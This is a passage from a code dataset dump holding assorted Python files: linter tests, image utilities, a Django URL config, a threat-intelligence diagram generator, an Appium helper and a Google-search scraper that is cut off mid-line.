self.tokenizing_line(correct_file)\n correct, message = StyleChecker.check_whitespaces(tokens_line)\n self.assertTrue(correct)\n tokens_line = self.tokenizing_line(incorrect_file)\n correct, message = StyleChecker.check_whitespaces(tokens_line)\n self.assertFalse(correct)\n\n def test_ws_operator(self):\n self.style_checker_test_ws(\n \"\\\\style_checker_ws_operators_correct.txt\",\n \"\\\\style_checker_ws_operators_incorrect.txt\"\n )\n\n def test_ws_symbol(self):\n self.style_checker_test_ws(\n \"\\\\style_checker_ws_symbols_correct.txt\",\n \"\\\\style_checker_ws_symbols_incorrect.txt\"\n )\n\n def test_ws_comments(self):\n self.style_checker_test_ws(\n \"\\\\style_checker_ws_comments_correct.txt\",\n \"\\\\style_checker_ws_comments_incorrect.txt\"\n )\n\n def style_checker_test_empty_lines(self, correct_file, incorrect_file):\n tokens_lines = self.tokenizing_lines(correct_file)\n correct, message = StyleChecker.check_empty_lines(tokens_lines)\n self.assertTrue(correct)\n tokens_lines = self.tokenizing_lines(incorrect_file)\n correct, message = StyleChecker.check_empty_lines(tokens_lines)\n self.assertFalse(correct)\n\n def test_empty_lines_package(self):\n self.style_checker_test_empty_lines(\n \"\\\\style_checker_empty_lines_package_correct.txt\",\n \"\\\\style_checker_empty_lines_package_incorrect.txt\"\n )\n\n def test_empty_lines_definition(self):\n self.style_checker_test_empty_lines(\n \"\\\\style_checker_empty_lines_definition_correct.txt\",\n \"\\\\style_checker_empty_lines_definition_incorrect.txt\"\n )\n\n def test_empty_lines_eof(self):\n self.style_checker_test_empty_lines(\n \"\\\\style_checker_empty_lines_eof_correct.txt\",\n \"\\\\style_checker_empty_lines_eof_incorrect.txt\"\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"NekoRDAB/Linter","sub_path":"test/test_style_checker.py","file_name":"test_style_checker.py","file_ext":"py","file_size_in_byte":4517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71512490114","text":"class Speech2TextUtil:\n \"\"\"\n Some utilities for Speech2Text\n \"\"\"\n\n def user_termination_desired(self, user_input):\n \"\"\"\n Checks if user wants to terminate the current use case\n :param user_input: s2t input\n :return: boolean if user wants to cancel the current action\n \"\"\"\n\n user_input = str(user_input).lower()\n\n if any(element in user_input for element in [\"cancel\", \"terminate\"]):\n return True\n else:\n return False\n\n def user_input_func(self, s2t, t2s):\n \"\"\"\n Starts user input and evaluates input and termination desire.\n :param s2t: Speech2Text sevice\n :param t2s: Text2Speech service\n :return: speech input (string) and termination desire (boolean).\n \"\"\"\n user_input = None\n user_valid_input = False\n\n # do while loop: param user_valid_input\n while True:\n user_input, user_valid_input = s2t.trigger()\n if user_valid_input:\n break\n t2s.trigger(\"Sorry. I couldn't understand you. Can you repeat that please\", False)\n\n print(user_input)\n\n if self.user_termination_desired(user_input):\n return (None, True)\n\n return (user_input, False)\n\n def contains_word(self, sentence, words):\n \"\"\"\n checks if a sentence contains any of the specified words\n :param sentence:\n :param words:\n :return: bool\n \"\"\"\n\n sentence = sentence.upper()\n\n sentence_split = sentence.split()\n\n for word in words:\n word = word.upper()\n for sentence_word in sentence_split:\n\n if sentence_word == word:\n return True\n\n return False\n","repo_name":"PrimitiveEngineering/DigAs","sub_path":"core/speechToTextUtil.py","file_name":"speechToTextUtil.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41406453360","text":"#coding: utf-8\n\n# пол\nGENDER_MALE = \"M\"\nGENDER_FEMALE = \"F\"\n# уровень\nEXPERIENCE_FULL_TIME = \"f\"\nEXPERIENCE_PART_TIME = \"p\"\n# степень законченности перевода\nSTAGE_FINAL = \"Final\"\nSTAGE_DRAFT = \"Draft\"\n# жанр\nGENRE_ACADEMIC = \"Academic\"\nGENRE_INFORMATIONAL = \"Informational\"\nGENRE_ESSAY = \"Essay\"\nGENRE_INTERVIEW = \"Interview\"\nGENRE_TECH = \"Tech\"\nGENRE_FICTION = \"Fiction\"\nGENRE_EDUCATIONAL = \"Educational\"\nGENRE_ENCYCLOPEDIA = \"Encyclopedia\"\nGENRE_SPEECH = \"Speech\"\nGENRE_LETTERS = \"Letters\"\n# ситуация перевода\nSTRESS_ROUTINE = \"Routine\"\nSTRESS_EXAM = \"Exam\"\n# условия перевода\nCONDITION_HOME = \"Home\"\nCONDITION_CLASSROOM = \"Classroom\"\n# тип данных\nTYPE_SOURCE = \"Source\"\nTYPE_TRANSLATION = \"Translation\"\n\n# название тэгов\nTAG_TU = \"tu\"\nTAG_TUV = \"tuv\"\nTAG_SEG = \"seg\"\n\n# название атрибутов\nATTR_TYPE = \"type\"\nATTR_GENRE = \"genre\"\nATTR_LANG = \"xml:lang\"\nATTR_FILE_SOURCE = \"filesource\"\nATTR_GENDER = \"gender\"\nATTR_EXPERIENCE = \"experience\"\nATTR_MARK = \"mark\"\nATTR_STAGE = \"stage\"\nATTR_STRESS = \"stress\"\nATTR_CONDITIONS = \"conditions\"\nATTR_YEAR = \"year\"\nATTR_AFFILIATION = \"affiliation\"","repo_name":"madcat1991/rltc","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5748940467","text":"import re\nimport requests\n\n\ndef get_html_encoding(html):\n pattern = '<meta http-equiv=\"Content-Type\" content=\".*charset=([^;\"]*)'\n result = re.search(pattern, html)\n if result:\n return result.group(1).strip()\n\n\ndef get_html_document(url) -> str:\n with requests.get(url) as res:\n encoding = get_html_encoding(res.text)\n if encoding:\n res.encoding = encoding\n html = res.text\n html = html.replace('\\r\\n', '\\n')\n return html\n\n\ndef get_raw_content(url: str):\n with requests.get(url) as res:\n if res.status_code == 200:\n return res.content\n","repo_name":"lightyears1998/wenku8-collector","sub_path":"wenku8collector/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41778405040","text":"from cv2 import cv2\nimport numpy as np\nfrom scipy.spatial import distance as dist\n\n\ndef erosion_dilation(img):\n kernel = np.ones((5, 5), np.uint8)\n img_erosion = cv2.erode(img, kernel, iterations=1)\n dilation = cv2.dilate(img_erosion, kernel, iterations=1)\n return dilation\n\n\ndef resize_to_ratio(img, ratio):\n \"\"\"\n Resize an image according to the given ration\n :param img: Image to be resized\n :param ratio: ratio used to resize the image\n :return: Image resized\n \"\"\"\n assert ratio > 0, 'ratio_percent must be > 0'\n w = int(img.shape[1] * ratio)\n h = int(img.shape[0] * ratio)\n return cv2.resize(img, (w, h), interpolation=cv2.INTER_AREA)\n\n\ndef resize_when_too_big(img, threshold_w_h):\n h = int(img.shape[0])\n w = int(img.shape[1])\n thr_w, thr_h = threshold_w_h\n if h > thr_h or w > thr_h:\n h_ratio = thr_h / h\n w_ratio = thr_w / w\n ratio = min(h_ratio, w_ratio)\n img = resize_to_ratio(img, ratio)\n return img\n\n\ndef histogram(img):\n \"\"\"\n \"\"\"\n nbin = 255\n color_histogram = []\n\n for c in range(3):\n histogram = np.zeros((nbin,))\n for row in range(img.shape[1]):\n for col in range(img.shape[2]):\n pixel = img[c, row, col]\n bin = pixel * nbin // 256\n histogram[bin] += 1\n\n color_histogram = np.concatenate((color_histogram, histogram))\n color_histogram = color_histogram / np.sum(color_histogram)\n\n return color_histogram\n\n\ndef entropy(hist):\n \"\"\"\n \"\"\"\n hist = hist[hist > 0]\n return -np.sum(hist * np.log2(hist))\n\n\ndef crop_image(img, coordinates):\n \"\"\"\n \"\"\"\n x, y, w, h = coordinates\n crop_img = img[y:y + h, x:x + w]\n return crop_img\n\n\ndef equalize_luma(img):\n \"\"\"\n \"\"\"\n img = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)\n Y, U, V = cv2.split(img)\n Y = cv2.equalizeHist(Y)\n img = cv2.merge((Y, U, V))\n img = cv2.cvtColor(img, cv2.COLOR_YUV2BGR)\n\n return img\n\n\ndef is_roi_outside_frame(frame_width, frame_height, left, top, right, bottom) -> bool:\n \"\"\"Check if a painting roi is outside of the frame\n\n :return True: painting is outside frame\n :return False: painting is not outside frame\n \"\"\"\n\n if left <= 0 or top <= 0 or right >= frame_width or bottom >= frame_height:\n print(\"[ERROR] ROI outside frame. Skipping this detection\")\n return True\n return False\n\n\ndef order_corners(corners: list) -> list:\n \"\"\"Takes a list of corners and orders it clockwise\n\n :param corners: list of corners\n :type corners: list\n :return: ordered list of corners\n :rtype: list\n \"\"\"\n a = np.sum(corners, axis=1)\n idx = np.argsort(a).astype(np.int32)\n corners = corners[idx, :]\n # [(0, 0), (x, 0), (0, y), (x, y)]\n\n # if corners.shape[0] == 4:\n # upper_right = corners[1]\n # lower_left = corners[2]\n\n # if upper_right[0] < lower_left[0]:\n # # swaps the two coordinates\n # corners[1], corners[2] = corners[2], corners[1]\n\n # sort the points based on their x-coordinates\n xSorted = corners[np.argsort(corners[:, 0]), :]\n # grab the left-most and right-most points from the sorted\n # x-roodinate points\n leftMost = xSorted[:2, :]\n rightMost = xSorted[2:, :]\n # now, sort the left-most coordinates according to their\n # y-coordinates so we can grab the top-left and bottom-left\n # points, respectively\n leftMost = leftMost[np.argsort(leftMost[:, 1]), :]\n (tl, bl) = leftMost\n # now that we have the top-left coordinate, use it as an\n # anchor to calculate the Euclidean distance between the\n # top-left and right-most points; by the Pythagorean\n # theorem, the point with the largest distance will be\n # our bottom-right point\n D = dist.cdist(tl[np.newaxis], rightMost, \"euclidean\")[0]\n (br, tr) = rightMost[np.argsort(D)[::-1], :]\n # return the coordinates in top-left, top-right,\n # bottom-right, and bottom-left order\n corners = np.array([tl, tr, bl, br], dtype=\"float32\")\n\n return corners\n\n\ndef remove_points_outside_roi(src_points: list, frame_width: int, frame_height: int) -> list:\n \"\"\"Removes points that are outside of the frame\n\n :param src_points: list of coordinates\n :type src_points: list\n :param frame_width: width\n :type frame_width: int\n :param frame_height: height\n :type frame_height: int\n :return: list of coordinates inside frame\n :rtype: list\n \"\"\"\n\n return [coordinates for coordinates in src_points if (coordinates[0]\n < frame_width) and (coordinates[1] < frame_height)]\n\n\ndef show_img(window_name, img):\n \"\"\"\n If there is a matched image, the function shows it on screen\n :param img: image to show on screen\n \"\"\"\n cv2.namedWindow(window_name, cv2.WINDOW_KEEPRATIO)\n cv2.imshow(window_name, img)\n cv2.resizeWindow(window_name, int(img.shape[1] / 2), int(img.shape[0] / 2))\n cv2.waitKey(2)\n","repo_name":"apanariello4/vision-project","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18628786966","text":"import os\n\n#Funcion calculando anio bisiesto\n#Para que un anio sea bisiesto deben cumplirse los siguientes criterios\n# Es multiplo de 4? Es multiplo de 100 es multiplo de 400 True/False True=Bisiesto False=No bisiesto\n# NO NO NO False\n# SI NO SI True\n# SI SI NO False\n# SI SI SI True\n\ndef esbisiesto(anio):\n m4=1\n m100=1\n m400=1\n esbisiestosn=False\n \n #Calculamos si son multiplos o no\n m4=anio%4\n m100=anio%100\n m400=anio%400\n \n #Luego evaluamos los criterios correspondientes \n if m4==0 and m100==0 and m400==0:\n esbisiestosn=True\n elif m4==0 and m100!=0 and m400!=0:\n esbisiestosn=True\n \n '''Necesario si no se declara esbisiestosn como False\n \n else:\n esbisiestosn=False\n \n '''\n \n return esbisiestosn\n\nos.system('clear')\n\nopc=\"S\"\n\n\nwhile opc.upper()!=\"N\":\n #Obteniendo anio a evaluar\n anum_val=input(\"Ingrese el anio a evaluar:\")\n\n aval=int(anum_val)\n #llamando funcion de evaluacion\n esunbisiesto=esbisiesto(aval)\n \n #Imprimiendo resultado\n if esunbisiesto==True:\n print(\"El anio SI es bisiesto\")\n else:\n print(\"El anio NO es bisiesto\")\n \n opc=input(\"Evaluar otro anio:[S o N]?:\")","repo_name":"rodasalfaro/open-bootcamp","sub_path":"python/funcioaniobisiestoclase5tarea3.py","file_name":"funcioaniobisiestoclase5tarea3.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16890643402","text":"# import system from os\nfrom os import system\n# application module\ndef Application():\n # clear terminal\n system('clear')\n # call to action\n text = input('Digite alguma coisa em seguida pressione enter: ')\n # string format\n text = text.strip()\n system('clear')\n # input always return a 'str' type object\n print('\\n\\033[1:33m{}\\033[m\\n\\nÉ do tipo String (str)\\n{} caracteres.'.format(text, len(text)))\n # check if text is numeric\n if text.isnumeric() == True:\n print('Somente números.')\n else:\n # check if text is alphabetic\n if text.isalpha() == True:\n print('Somente letras.')\n else:\n # if is neither numeric or alphabetic is alphanumeric\n print('Alfanumérico.')\n # check if text neither upper or lower\n if text.isupper() == False and text.islower() == False:\n print('Contém letras maiúsculas e minúsculas')\n elif text.isupper() == True:\n print('Apenas letras maiúsculas')\n else:\n print('Apenas letras minúsculas')\n# application start\nApplication()\n","repo_name":"mtvlc/Python_CursoEmVideo","sub_path":"World1/Challenge004/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28994303780","text":"from django.urls import path , include\nfrom django.contrib.auth import views as auth_views\nfrom accounts.views import doctorViews,patientViews,pharmacistView,laboratoryViews,ehr_home_registration\nimport record\nurlpatterns = [\n path('',ehr_home_registration.home, name='home'),\n path('patient/', include(([\n path('patient_profile/<str:username>/', patientViews.patientProfileView,name='patient_profile'),\n path('patient_profile/',include((('record.url'),'accounts'),namespace='patient_profile'))\n # path('', include(('home.urls', 'home'), namespace='home'))\n ], 'accounts'), namespace='patient')),\n\n path('doctor/', include(([\n path('doctor_profile/', doctorViews.DoctorProfileView.as_view(), name='doctor_profile'),\n ], 'accounts'), namespace='doctor')),\n\n path('pharmacist/', include(([\n path('pharmacist_profile/', pharmacistView.PharmacistProfile.as_view(), name='pharmacist_profile'),\n ], 'accounts'), namespace='pharmacist')),\n\n path('laboratory/', include(([\n path('laboratory_profile/', laboratoryViews.LaboratoryProfileView.as_view(), name='laboratory_profile'),\n ], 'accounts'), namespace='laboratory'))\n]\n\n","repo_name":"takiKeftouna/EHR_SYSTEM_","sub_path":"accounts/url.py","file_name":"url.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35863522691","text":"class Solution:\n def averageOfSubtree(self, root: Optional[TreeNode]) -> int:\n\n def dfs(node):\n if not node:\n return 0, 0\n\n v1, c1 = dfs(node.left)\n v2, c2 = dfs(node.right)\n\n v = node.val + v1 + v2\n c = 1 + c1 + c2\n\n if node.val == v // c:\n self.total += 1\n\n return v, c\n\n self.total = 0\n dfs(root)\n return self.total\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/2265_count_nodes_equal_to_average_of_subtree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23341586200","text":"import yaml \nimport sys\nfrom datetime import datetime\nimport argparse \n\n\n\nheader = \"\"\"\n<!DOCTYPE html>\n<html>\n<head>\n\n\n<link rel=\"stylesheet\" href=\"https://fonts.googleapis.com/css?family=Stardos+Stencil\">\n<style>\n \ntd { \n text-align: center; \n}\n\ntable {\n border-collapse: collapse;\n border: 1px solid;\n}\n\ntr.thick {\n font-weight: bold;\n font-size:14;\n}\n\ntr.icons {\n font-family: \"Stardos+Stencil\",\"Times New Roman\", Times, serif;\n font-weight: bold;\n font-size:32px;\n}\n\ntr.iocs {\n font-family: \"Times New Roman\", Times, serif;\n font-weight: italic;\n font-size:14px;\n}\n\n</style>\n</head>\n<body>\n<center>\n\"\"\"\n\n\nfooter = \"\"\"\n</center>\n</body>\n</html>\n\"\"\"\n\n\ndef logo():\n print(\"\"\"\n _____ _____ _____ _ _ \n/ __ \\_ _|_ _| | (_) \n| / \\/ | | | | __| |_ __ _ __ _ _ __ __ _ _ __ ___ \n| | | | | |/ _` | |/ _` |/ _` | '__/ _` | '_ ` _ \\ \n| \\__/\\_| |_ | | (_| | | (_| | (_| | | | (_| | | | | | |\n \\____/\\___/ \\_/\\__,_|_|\\__,_|\\__, |_| \\__,_|_| |_| |_|\n __/ | \n |___/ @hugo_glez \n \n \"\"\"\n )\n\n\ndef main():\n\n parser = argparse.ArgumentParser(description =\"Convert YAML file to attack flow diagram\")\n parser.add_argument(\"yamlfile\", help=\"YAML file to convert\")\n parser.add_argument(\"-o\",\"--output\", help=\"File to save the output\", type=argparse.FileType('w'))\n parser.add_argument(\"-r\",\"--resources\", help=\"Directory to get images, default is imgs/\", default = \"imgs/\")\n parser.add_argument(\"--iocs\", help=\"Write also IoCs\", action='store_true')\n parser.add_argument(\"--ttps\", help=\"Write also TTPs\", action='store_true')\n args = parser.parse_args()\n \n \n resource_folder = args.resources\n \n if args.output:\n logo()\n orig_stdout = sys.stdout\n f = args.output\n sys.stdout = f\n\n\n \n try:\n fichero = open(args.yamlfile)\n \n except:\n print(\"Error opening the file\")\n fichero.close()\n sys.exit(-1)\n \n doc=yaml.load(fichero, Loader=yaml.BaseLoader)\n fichero.close \n \n\n\n diagrama = doc['diagram']\n\n\n mdate = doc.get(\"date\", \" \")\n mtitle = doc.get(\"title\", \"Here is your title!\")\n\n\n\n print (header)\n print (\"\"\"\n <h1>\"\"\"+ mtitle + \"\"\"</h1>\n <h3> Original date:\"\"\"+mdate+\"\"\"</h3>\n <br><br>\n <table width=\"90%\">\n \"\"\")\n\n\n #print numbers\n num = 1\n print ('<tr class=\"icons\">')\n for a in diagrama[:-1]:\n print (\"<td>\")\n print (num)\n num += 1\n print (\"</td><td></td>\")\n print (\"<td>\")\n print (num)\n print ('</td>')\n print ('</tr>')\n\n #print icons\n print ('<tr class=\"thick\">')\n for a in diagrama[:-1]:\n print (\"<td>\")\n ticon = a.get(\"icon\", \"default\")\n if type(ticon) == list:\n for ico in ticon:\n print (\"<img src='\"+resource_folder+ico+\".png'>\")\n else:\n print (\"<img src='\"+resource_folder+ticon+\".png'>\")\n print (\"</td><td><img src='\"+resource_folder+\"flecha.png'> </td>\")\n print (\"<td>\")\n ticon = diagrama[-1].get(\"icon\", \"default\")\n if type(ticon) == list:\n for ico in ticon:\n print (\"<img src='\"+resource_folder+ico+\".png'>\")\n else:\n print (\"<img src='\"+resource_folder+ticon+\".png'>\")\n print ('</td>')\n print ('</tr>')\n\n\n # print titles\n print ('<tr class=\"thick\">')\n for a in diagrama[:-1]:\n print (\"<td>\")\n print (a.get('text', \" \"))\n print (\"</td><td></td>\")\n print (\"<td>\")\n print (diagrama[-1].get('text', \" \"))\n print ('</td>')\n print ('</tr>')\n\n # print description\n print ('<tr>')\n for a in diagrama[:-1]:\n print (\"<td>\")\n print (a.get('description',\" \"))\n print (\"</td><td></td>\")\n print (\"<td>\")\n print (diagrama[-1].get('description', \" \"))\n print ('</td>')\n print ('</tr>')\n\n\n if args.iocs:\n #print iocs\n print ('<tr class=\"iocs\">')\n for a in diagrama[:-1]:\n print (\"<td>\")\n tiocs = a.get('iocs', None)\n if not tiocs is None:\n print (\"<br>\".join(tiocs))\n print (\"</td><td></td>\")\n print (\"<td>\")\n tiocs = diagrama[-1].get('iocs', None)\n if not tiocs is None:\n print (\"<br>\".join(tiocs))\n print ('</td>')\n print ('</tr>')\n\n if args.ttps:\n #print ttps\n print ('<tr class=\"iocs\">')\n for a in diagrama[:-1]:\n tttps = a.get('ttps', None)\n print (\"<td>\")\n if not tttps is None:\n print (\"<br>\".join(tttps))\n print (\"</td><td></td>\")\n print (\"<td>\")\n tttps = diagrama[-1].get('ttps', None)\n if not tttps is None:\n print (\"<br>\".join(tttps))\n print ('</td>')\n print ('</tr>')\n\n\n #print logo\n print ('<tr>')\n for a in diagrama[:-1]:\n print (\"<td></td><td></td>\")\n print ('<td style=\"text-align:right\"><img src=\"'+resource_folder+'logo.png\"></td>')\n print ('</tr>')\n print ('</table>')\n\n print('<br><br>Generated on '+datetime.now().strftime(\"%Y-%m-%d, %H:%M\") + ' by CTIdiagrams')\n\n print (footer)\n\n if args.output:\n sys.stdout = orig_stdout\n f.close()\n\n\n\nif __name__ == \"__main__\":\n main()\n \n\n\n\n\n\n\n\n\n","repo_name":"hugo-glez/ctidiagram","sub_path":"ctidiagram.py","file_name":"ctidiagram.py","file_ext":"py","file_size_in_byte":5428,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"56714797","text":"#!/usr/bin/env python\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n# The Selenium team implemented something like the Multi Action API in the form of\n# \"action chains\" (https://code.google.com/p/selenium/source/browse/py/selenium/webdriver/common/action_chains.py).\n# These do not quite work for this situation, and do not allow for ad hoc action\n# chaining as the spec requires.\n\nimport copy\n\nfrom appium.webdriver.mobilecommand import MobileCommand as Command\n\n\nclass MultiAction(object):\n def __init__(self, driver, element=None):\n self._driver = driver\n self._element = element\n self._touch_actions = []\n\n def add(self, *touch_actions):\n \"\"\"Add TouchAction objects to the MultiAction, to be performed later.\n\n :Args:\n - touch_actions - one or more TouchAction objects describing a chain of actions to be performed by one finger\n\n :Usage:\n a1 = TouchAction(driver)\n a1.press(el1).move_to(el2).release()\n a2 = TouchAction(driver)\n a2.press(el2).move_to(el1).release()\n\n MultiAction(driver).add(a1, a2)\n \"\"\"\n for touch_action in touch_actions:\n if self._touch_actions is None:\n self._touch_actions = []\n\n # deep copy, so that once they are in here, the user can't muck about\n self._touch_actions.append(copy.deepcopy(touch_action))\n\n def perform(self):\n \"\"\"Perform the actions stored in the object.\n\n :Usage:\n a1 = TouchAction(driver)\n a1.press(el1).move_to(el2).release()\n a2 = TouchAction(driver)\n a2.press(el2).move_to(el1).release()\n\n MultiAction(driver).add(a1, a2).perform()\n \"\"\"\n self._driver.execute(Command.MULTI_ACTION, self.json_wire_gestures)\n\n # clean up and be ready for the next batch\n self._touch_actions = []\n\n return self\n\n @property\n def json_wire_gestures(self):\n actions = []\n for action in self._touch_actions:\n actions.append(action.json_wire_gestures)\n if self._element is not None:\n return {'actions': actions, 'elementId': self._element.id}\n else:\n return {'actions': actions}\n","repo_name":"panoslin/DouYinSpider","sub_path":"venv/Lib/site-packages/appium/webdriver/common/multi_action.py","file_name":"multi_action.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"61"} +{"seq_id":"70416497796","text":"from flask import abort\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom model import Base, Category\n\n\nengine = create_engine('sqlite:///catalog.db')\nBase.metadata.bind = engine\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n\nclass CategoryController():\n @property\n def get_categories(self):\n return session.query(Category).all()\n\n def get_category_id(self, category):\n category_id = None\n try:\n category_id = session.query(Category.id).\\\n filter_by(name=category).one()\n except:\n return None\n return category_id[0]\n","repo_name":"hussamEL-Hwary/Flask-items-catalog","sub_path":"category_controller.py","file_name":"category_controller.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23622693951","text":"def f(l):\r\n sort=list(sorted(l))\r\n k=len([i for i,j in zip(l,sort) if i!=j])\r\n return str(k)+'.000000'\r\ndef main():\r\n s=input()\r\n T=int(s)\r\n for i in range(T):\r\n s=input()\r\n s=input()\r\n L=[int(i) for i in s.split(' ')]\r\n print('Case #{0}: {1}'.format(i+1,f(L)))\r\nmain()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_77/287.py","file_name":"287.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13500888254","text":"from cx_Freeze import setup, Executable\n\nbase = None\nexecutables = [Executable(\"Main.py\", base=base)]\n\npackages = [\"idna\"]\noptions = {\n 'build_exe': {\n 'packages':packages,\n },\n}\n\nsetup(\n name = \"ERDDAP Temperature Reporter\",\n options = options,\n version = \"1.0\",\n description = 'Creates a temperature report from ERDDAP data',\n executables = executables\n)","repo_name":"JaredMclellan/ERDDAP_Temperature_Query","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10504908954","text":"import numpy as np\n\nfrom src.projection.base import Camera\nfrom src.projection.calibrator import ProjectionCalibrator\nfrom src.projection.projection import screen2ndc\n\n\nclass LinearCalibrator(ProjectionCalibrator):\n @staticmethod\n def __solve_homogeneous_ls__(mtx: np.ndarray) -> np.ndarray:\n eigen_pairs = np.linalg.eig(np.dot(mtx.T, mtx))\n min_index = np.argmin(eigen_pairs[0])\n return eigen_pairs[1][:, min_index]\n\n def calibrate(self, p_top: np.ndarray, p_bottom: np.ndarray) -> Camera:\n self.__validate_input__(p_top, p_bottom)\n res = self.camera.intrinsics.res\n P_inv = self.camera.intrinsics.proj_inv()\n h = self.person_height\n\n p_top = screen2ndc(p_top, res)\n p_bottom = screen2ndc(p_bottom, res)\n A = np.cross(p_top, p_bottom)\n v_ = self.__solve_homogeneous_ls__(A)\n normal = P_inv.dot(v_)\n scale = np.linalg.norm(normal)\n normal = normal / scale\n lambdas = np.zeros((p_bottom.shape[0], 2), dtype=float)\n for i, (p_t, p_b) in enumerate(zip(p_top, p_bottom)):\n mtx = np.c_[p_t, -p_b]\n lambdas[i] = np.linalg.lstsq(mtx, h * v_, rcond=None)[0] / scale\n X_mean = np.mean(np.hstack((lambdas[:, 0] * P_inv.dot(p_top.T),\n lambdas[:, 1] * P_inv.dot(p_bottom.T))), axis=1)\n self.camera.extrinsics.normal = normal\n self.camera.extrinsics.distance = h / 2 - normal.dot(X_mean)\n return self.camera\n\n","repo_name":"Egoago/SocialDistanceEstimation","sub_path":"src/projection/calibrators/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26457932368","text":"import os\nfrom lxml import html\nimport requests\nimport uuid\nimport json\nimport datetime\n\n\nimport save_to_file as scribe\nimport site_crawl as crawler\n\nclass SiteCollector:\n def __init__(self, name):\n self.name = name\n self.proxies = self.gen_proxies()\n self.id = str(uuid.uuid4())\n self.data_file = scribe.init_file(self.name, self.id)\n self.error_file = \"\"\n self.query = \"how to make binary trees in python\"\n self.query_count = 0\n def __str__(self):\n return self.name\n def time_stamp(self):\n return scribe.time_stamp()\n def gen_proxies(self):\n http_proxy = \"http://10.10.1.10:3128\"\n https_proxy = \"https://10.10.1.11:1080\"\n ftp_proxy = \"ftp://10.10.1.10:3128\"\n\n proxyDict = {\n \"http\" : http_proxy,\n \"https\" : https_proxy,\n \"ftp\" : ftp_proxy\n }\n return proxyDict\n def search_google(self, queries):\n for query in queries:\n # REQUEST\n # PROXY NOTES\n # 1. http://www.doc.ic.ac.uk/~pg1712/blog/python-proxy/\n\n s = requests.session()\n # s.proxies.update(proxies)\n\n # search = input(\"search: =>\\n\")\n url = 'https://www.google.com/search?q={}'.format(query)\n r = requests.get(url)\n\n # RESPONSE\n r_status = r.status_code\n #### HEADERS\n r_headers = r.headers\n r_date = r_headers[\"Date\"]\n\n print(\"PINGING... GOOGLE: {} STATUS: {}\".format(self.query_count, r_status))\n\n #### HANDLE ERROR\n if(r_status != 200):\n error_obj = r.content\n # error_obj['id'] = TIME_STAMP\n self.error_file = scribe.write_error(name, self.id, error_obj)\n print(r.headers)\n return\n\n #### HANDLE SUCCESS\n if(r_status == 200):\n r_tree = html.fromstring(r.content)\n\n #create a list of links:\n results = r_tree.xpath(\"//h3[contains(@class, 'r')]/a/@href\")\n\n # r_tree playground\n # results_2 = r_tree.xpath(\"//div[contains(@class, 'r')]\")\n # links = r_tree.xpath('///a/@href')\n\n # Generate list of links\n links_list = []\n for link in results:\n # define separator\n sep = \"&sa=\"\n # clean link: trim firts seven characters and split by sep, keeping first portion\n clean = link[7:].split(sep, 1)[0]\n links_list.append(clean)\n print(clean)\n\n payload = dict()\n\n payload[\"id\"] = str(uuid.uuid4())\n payload[\"status_code\"] = r_status\n payload[\"date\"] = r_date\n payload[\"search\"] = query\n payload[\"count\"] = len(links_list)\n payload[\"links\"] = links_list\n\n print(\"response: COUNT: {}\".format(len(links_list)))\n scribe.read_write(self.data_file, payload)\n\n def crawl_sites(self, sites):\n for site in sites:\n site = crawler.make_site(site)\n site.run_crawler(site.name)\n def parse_data_file(self):\n working_file = scribe.read_file(self.data_file)\n queries = working_file[\"data\"]\n for query in queries:\n self.crawl_sites(query['links'])\n\n\n\nname = input(\"job name... keep it short, no spaces.\")\nsite = SiteCollector(name)\n\nsite.search_google([\"set data type in 